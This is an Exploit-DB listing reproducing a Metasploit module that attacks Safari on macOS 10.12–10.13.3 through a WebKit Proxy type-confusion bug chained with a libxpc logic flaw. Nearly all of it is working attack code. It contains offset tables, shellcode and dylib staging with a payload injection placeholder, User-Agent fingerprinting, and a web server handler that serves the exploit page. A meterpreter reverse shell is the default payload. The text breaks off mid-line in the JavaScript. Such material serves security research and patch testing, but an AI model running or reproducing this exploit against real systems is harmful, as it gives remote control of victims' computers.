Exploit-DB #45998
Description: Safari - Proxy Object Type Confusion (Metasploit)
Type: remote
Platform: macos
Date: 2018-12-14
Author: Metasploit

Exploit:
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = ManualRanking

  include Msf::Exploit::EXE
  include Msf::Exploit::Remote::HttpServer

  def initialize(info = {})
    super(update_info(info,
      'Name'           => 'Safari Proxy Object Type Confusion',
      'Description'    => %q{
          This module exploits a type confusion bug in the Javascript Proxy object in
        WebKit. The DFG JIT does not take into account that, through the use of a Proxy,
        it is possible to run arbitrary JS code during the execution of a CreateThis
        operation. This makes it possible to change the structure of e.g. an argument
        without causing a bailout, leading to a type confusion (CVE-2018-4233).

          The JIT region is then replaced with shellcode which loads the second stage.
        The second stage exploits a logic error in libxpc, which uses command execution
        via the launchd's "spawn_via_launchd" API (CVE-2018-4404).
      },
      'License'        => MSF_LICENSE,
      'Author'         => [ 'saelo' ],
      'References'     => [
          ['CVE', '2018-4233'],
          ['CVE', '2018-4404'],
          ['URL', 'https://github.com/saelo/cve-2018-4233'],
          ['URL', 'https://github.com/saelo/pwn2own2018'],
          ['URL', 'https://saelo.github.io/presentations/blackhat_us_18_attacking_client_side_jit_compilers.pdf'],
        ],
      'Arch'           => [ ARCH_PYTHON, ARCH_CMD ],
      'Platform'       => 'osx',
      'DefaultTarget'  => 0,
      'DefaultOptions' => { 'PAYLOAD' => 'python/meterpreter/reverse_tcp' },
      'Targets'        => [
          [ 'Python payload',  { 'Arch' => ARCH_PYTHON, 'Platform' => [ 'python' ] } ],
          [ 'Command payload', { 'Arch' => ARCH_CMD, 'Platform' => [ 'unix' ] } ],
        ],
      'DisclosureDate' => 'Mar 15 2018'))
    register_advanced_options([
      OptBool.new('DEBUG_EXPLOIT', [false, "Show debug information in the exploit javascript", false]),
    ])
  end

  def offset_table
    {
      '10.12.6' => {
        :jsc_vtab => '0x0000d8d8',
        :dyld_stub_loader => '0x00001168',
        :dlopen => '0x000027f7',
        :confstr => '0x00002c84',
        :strlen => '0x00001b40',
        :strlen_got => '0xdc0',
      },
      '10.13' => {
        :jsc_vtab => '0x0000e5f8',
        :dyld_stub_loader => '0x000012a8',
        :dlopen => '0x00002e60',
        :confstr => '0x000024fc',
        :strlen => '0x00001440',
        :strlen_got => '0xee8',
      },
      '10.13.3' => {
        :jsc_vtab => '0xe5e8',
        :dyld_stub_loader => '0x1278',
        :dlopen => '0x2e30',
        :confstr => '0x24dc',
        :strlen => '0x1420',
        :strlen_got => '0xee0',
      },
    }
  end

  def exploit_data(directory, file)
    path = ::File.join Msf::Config.data_directory, 'exploits', directory, file
    ::File.binread path
  end

  def stage1_js
    stage1 = exploit_data "CVE-2018-4233", "stage1.bin"
    "var stage1 = new Uint8Array([#{Rex::Text::to_num(stage1)}]);"
  end

  def stage2_js
    stage2 = exploit_data "CVE-2018-4404", "stage2.dylib"
    payload_cmd = payload.raw
    if target['Arch'] == ARCH_PYTHON
      payload_cmd = "echo \"#{payload_cmd}\" | python"
    end
    placeholder_index = stage2.index('PAYLOAD_CMD_PLACEHOLDER')
    stage2[placeholder_index, payload_cmd.length] = payload_cmd
    "var stage2 = new Uint8Array([#{Rex::Text::to_num(stage2)}]);"
  end

  def get_offsets(user_agent)
    if user_agent =~ /Intel Mac OS X (.*?)\)/
      version = $1.gsub("_", ".")
      mac_osx_version = Gem::Version.new(version)
      if mac_osx_version >= Gem::Version.new('10.13.4')
        print_warning "macOS version #{mac_osx_version} is not vulnerable"
      elsif mac_osx_version < Gem::Version.new('10.12')
        print_warning "macOS version #{mac_osx_version} is not vulnerable"
      elsif offset_table.key?(version)
        offset = offset_table[version]
        return <<-EOF
const JSC_VTAB_OFFSET = #{offset[:jsc_vtab]};
const DYLD_STUB_LOADER_OFFSET = #{offset[:dyld_stub_loader]};
const DLOPEN_OFFSET = #{offset[:dlopen]};
const CONFSTR_OFFSET = #{offset[:confstr]};
const STRLEN_OFFSET = #{offset[:strlen]};
const STRLEN_GOT_OFFSET = #{offset[:strlen_got]};
EOF
      else
        print_warning "No offsets for version #{mac_osx_version}"
      end
    else
      print_warning "Unexpected User-Agent"
    end
    return false
  end

  def on_request_uri(cli, request)
    user_agent = request['User-Agent']
    print_status("Request from #{user_agent}")
    offsets = get_offsets(user_agent)
    unless offsets
      send_not_found(cli)
      return
    end

    utils = exploit_data "CVE-2018-4233", "utils.js"
    int64 = exploit_data "CVE-2018-4233", "int64.js"
    html = %Q^
<html>
<body>
<script>
#{stage1_js}
stage1.replace = function(oldVal, newVal) {
    for (var idx = 0; idx < this.length; idx++) {
        var found = true;
        for (var j = idx; j < idx + 8; j++) {
            if (this[j] != oldVal.byteAt(j - idx)) {
                found = false;
                break;
            }
        }
        if (found)
            break;
    }
    this.set(newVal.bytes(), idx);
};
#{stage2_js}
#{utils}
#{int64}
#{offsets}

var ready = new Promise(function(resolve) {
    if (typeof(window) === 'undefined')
        resolve();
    else
        window.onload = function() {
            resolve();
        }
});

ready = Promise.all([ready]);

print = function(msg) {
    //console.log(msg);
    //document.body.innerText += msg + '\\n';
}

// Must create this indexing type transition first,
// otherwise the JIT will deoptimize later.
var a = [13.37, 13.37];
a[0] = {};

var referenceFloat64Array = ne